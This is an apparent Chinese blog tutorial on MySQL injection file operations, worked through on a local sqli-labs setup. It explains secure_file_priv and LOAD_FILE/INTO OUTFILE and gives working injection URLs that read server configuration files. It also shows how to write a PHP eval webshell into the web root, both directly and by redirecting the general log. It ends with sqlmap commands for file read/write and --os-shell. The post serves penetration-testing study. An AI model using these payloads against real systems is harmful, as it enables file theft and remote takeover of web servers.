mysql注入读文件
mysq|数据库在渗透过程中能够使用的功能还是比较多的,除了读取数据之外,还可以进行对文件进行读写(但前提是权限足够)。下面进行读文件。
load_file()函数前提条件:
1.当前权限对该文件可读
2.文件在该服务器上
3.路径完整
4.文件大小小于max_allowed_packet
5.当前数据库用户有FILE权限
6.secure_file_priv的值为空,如果值为某目录,那么就只能对该目录的文件进行操作
配置环境
通过sql语句,show global variables查看配置参数。发现secure_file_priv 为NULL
修改mysql文件里的my.ini
需要注意的是 secure_file_priv= 需要放在引擎下面。不然会报错
secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。
null 表示限制mysqld 不允许导入或导出
/tmp/ 表示限制mysqld 的导入或导出只能发生在/tmp/目录下
没有具体值 表示不对mysqld 的导入或导出做限制
修改完了后需要重启下mysql服务
再次查看
通过sql语句进行读取硬盘里面的文件。完整路径应该用/
SELECT LOAD_FILE('D:\\test.txt');
当读取一个不存在,或者权限不足时返回NULL
注入读文件
LOAD_FILE
知道了绝对路径就能利用sql注入的方式来知晓文件下的内容
那么怎么知道路径在哪里呢?
通过@@datadir sql语句查看数据库
一般my.ini在data目录上。
select load_file('D://documentation/hacker/phpstudy_pro/Extensions/MySQL5.7.26\\my.ini');
导出文件到本地
into outfile
http://localhost/Less-1/?id=0'union select 1,2,load_file('D://documentation/hacker/phpstudy_pro/Extensions/MySQL5.7.26\\my.ini')INTO OUTFILE 'D://1.txt' --+
outfile 可导出多行,并会在每⾏的结束加上换⾏符
使用如下参数可以进行格式调整:
FIELDS ESCAPED BY 可以用来对指定的字符进行转义
FIELDS [OPTIONALLY] ENCLOSED BY 用来对字段值进行包裹
FIELDS TERMINATED BY 用来对字段值之间进行分割
into dumpfile
http://localhost/Less-1/?id=0'union select 1,2,load_file('D://documentation/hacker/phpstudy_pro/Extensions/MySQL5.7.26\\my.ini')INTO DUMPFILE'D://1.txt' --+
通过dumpfile导出的数据行数据之间并未进行换行且只导出了部分数据。
dumpfile对文件内容是原稿写入,未做任何转移和增加。
mysql注入写文件
mysq|数据库在渗透过程中能够使用的功能还是比较多的,除了读取数据之外,还可以进行对文件进行读写(但前提是权限足够),下面介绍写文件。
SELECT…INTO OUTFILE写文件前提条件:
1.目标目录要有可写权限
2.当前数据库用户要有FILE权限
3.目标文件不能已存在
4.secure_file_priv的值为空
5.路径完整
LOAD DATA INFILE
有时候我们需要将大量数据批量写入数据库,直接使用程序语言和Sql写入往往很耗时间,其中有一种方案就是使用MySql Load data infile导入文件的形式导入数据到数据库,这样可大大缩短数据导入时间。利用这个函数,在渗透的时候会对测试人员有帮助。
LOAD DATA INFILE 是 SELECT ... INTO OUTFILE 的相对语句。只能导出或导入数据的内容,不包括表的结构,如果表的结构文件损坏,则必须先恢复原来的表的结构。
具体格式:
load data [low_priority] [local] infile 'file_name txt' [replace | ignore] into table table_name
[fields
[terminated by't']
[OPTIONALLY] enclosed by '']
[escaped by'\' ]]
[lines terminated by'n']
[ignore number lines]
[(col_name, )]
fields关键字指定了文件记段的分割格式,如果用到这个关键字,MySQL剖析器希望看到至少有下面的一个选项:
terminated by分隔符:意思是以什么字符作为分隔符,如 '\n'
1. 查看功能是否开启
LOAD DATA INFILE这个功能默认是关闭的,当我们没有开启这个功能时执行LOAD DATA INFILE会报错,我们可以通过如下命令查看功能状态。
show global variables like 'local_infile';
如果没有开启,可以通过如下命令进行开启
set global local_infile=1;
2. 从文件读取行信息到表中
我在数据库中新建一个表,默认的id字段的类型改为varchar即字符串类型,这样才能写进去。其他字段就不需要了。主要这里路径是左斜杠
load data LOCAL INFILE 'D://1.txt' into TABLE abc fields TERMINATED by '\n';
执行命令后,数据已经进去了
如果我们表中有两个字段时,写入后就是如下的样子。从左往右,从上到下写。
into oufile
http://localhost/Less-1/?id=0'union select 1,2,'<?php phpinfo();?>' into OUTFILE 'D://documentation/hacker/phpstudy_pro/WWW/Less-1/1.php'--+
日志写文件
前言
利用 MySQL 进行文件(特别是木马文件)的写入,常常会用到 SELECT INTO FILE 这样一条语句,但是这条 SQL 语句的可写出路径会受到 secure-file-priv 设置项的限制。
前提条件
1.MySQL 拥有网站目录的写权限
2.SQL 注入可用,或有 phpMyAdmin 等执行SQL语句的途径
3.MySQL root 用户权限(日志方法需要)
4.有堆叠注入才能在网页上注入(因为union后面不能用set)
利用 MySQL 进行文件写入
常用方法
常用办法一般就是利用SELECT INTO FILE这一条语句写入文件。但是这个有一点限制,它只能通过secure-file-priv 参数来控制哪些目录下能进行写入。并且 secure_file_priv 参数是只读参数,不能使用 SET GLOBAL 语句修改,只有修改 MySQL 的配置文件并重启 MySQL 才能对此进行修改。
日志方法
但仍然有其他途径可以利用。以下方法需要 MySQL 的 SUPER 权限(root 用户)。
MySQL 文档中对 general log 的说明如下:
Established client connections and statements received from clients
执行的 SQL 语句的内容都会写到 general log 的日志文件中,换句话说,只要开启 general log,并且执行一条内容包含 <?php @eval($_POST[value])?> 的语句,就能把这个一句话木马写入到指定文件,且不受 secure-file-priv 的限制。
日志文件相关命令:
show variables like 'general_log'; -- 查看日志是否开启
set global general_log=on; -- 开启日志功能
show variables like 'general_log_file'; -- 看看日志文件保存位置
set global general_log_file='tmp/general.lg'; -- 设置日志文件保存位置
show variables like 'log_output'; -- 看看日志输出类型 table或file
set global log_output='table'; -- 设置输出类型为 table
set global log_output='file'; -- 设置输出类型为file
通过执行以下 SQL 语句(需要 SUPER 权限)打开 general log 功能并且指定 general log 日志文件路径:
SET GLOBAL general_log=on;
SET GLOBAL general_log_file='目标文件路径';
然后执行一条包含要写入的内容的SQL语句,即可写入到目标文件上。
SELECT '要写入的文件内容';
写入webshell
常用方法
前情提要
1.知道网站绝对路径
2,在mysql 中通过命令查看当前状态网站开启secure_file_priv开关需要是打开状态
secure_file_priv的状态有三种可能有三种状态
测试语句:show variables like '%secure_file_priv%'
1.null 无法写入和读取
2.设置为一个目录名字,只允许在该路径下导入导出。
3.‘’空,可以在任意位置读取和写入
一句话木马
要知道网站绝对路径才能去写木马,才能用getshell工具蚁剑连接
http://localhost/Less-1/?id=-1' union select 1,2,'<?php @eval($_POST[value]); ?>' into OUTFILE 'D://documentation/hacker/phpstudy_pro/WWW/Less-1/shell.php'--+
在<?php @eval($_POST[value]); ?>这一句话里面
value是你自己写的。也就是登录密码
用蚁剑登录
日志方法
前边已经提起过相关的资料,再次就不继续水文。
没有堆叠注入是不能在网页进行日志方法
所有我们这里假设已经拿到了进入mysql并且有root账号。
日志注入secure_file_priv无要求
show variables like '%secure_file_priv%'
查看日志功能有没有开启
show VARIABLES like 'general_log';
没开启就开启日志功能
set GLOBAL general_log = on;
show variables like 'log_output'; -- 看看日志输出类型 table或file
如果不是日志输出类型是table则设置成file
set global log_output='file'; -- 设置输出类型为file
设置日志文件保存位置
set global general_log_file=' D://documentation/hacker/phpstudy_pro/WWW/Less-1/shell.php ';
此位置需要放到网站下面,不能随便放不然php代码执行不成功。
并且后缀是php。
执行一句话木马select '<?php @eval($_POST[value]); ?>';
此时不管报没报错。都会存在我们自己设置的shell.php日志文件下。由于是php后缀它就能只能一句话木马。通过蚁剑登录。
sqlmap安全测试
前情提要
对于文件操作会受到 secure-file-priv 设置项的限制
File system access
--file-read 从目标数据库管理文件系统读取文件
--file-write 上传文件到目标数据库管理文件系统
--file-dest 指定写入文件的绝对路径
--os-cmd= 执行操作系统命令
--os-shell 交互式的系统shell
--os-pwn 获取一个OOB shell,Meterpreter或者VNC
--os-smbrelay 一键获取一个OOB shell,Meterpreter或者VNC
--os-bof 储存过程缓冲区溢出利用
--os-esc 数据库进程用户权限提升
--msf-path= Metasploit Framework本地安装路径
1.下载文件。
sqlmap.py -u "http://localhost/Less-1/?id=1" --file-read "D://1.txt"
注意,它是说保存到local下sqlmap位置。但是在我的电脑上实际是
C:\Users\18937\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0\LocalCache\Local\sqlmap\output\localhost\files
2.写入文件
sqlmap.py -u "http://localhost/Less-1/?id=1" --file-write "D://1.txt" --file-dest "D:\documentation\hacker\phpstudy_pro\WWW\Less-1\1.txt"
把D盘下1.txt上传到网站绝对路径下
1.获取shell
sqlmap.py -u "http://localhost/Less-1/?id=1" --os-shell
2.选择网站的语言
3.输入网站的绝对路径
4.查看权限
标签:文件,secure,log,--,读写,file,mysql,日志,注入 From: https://www.cnblogs.com/Wesuiliye/p/17226511.html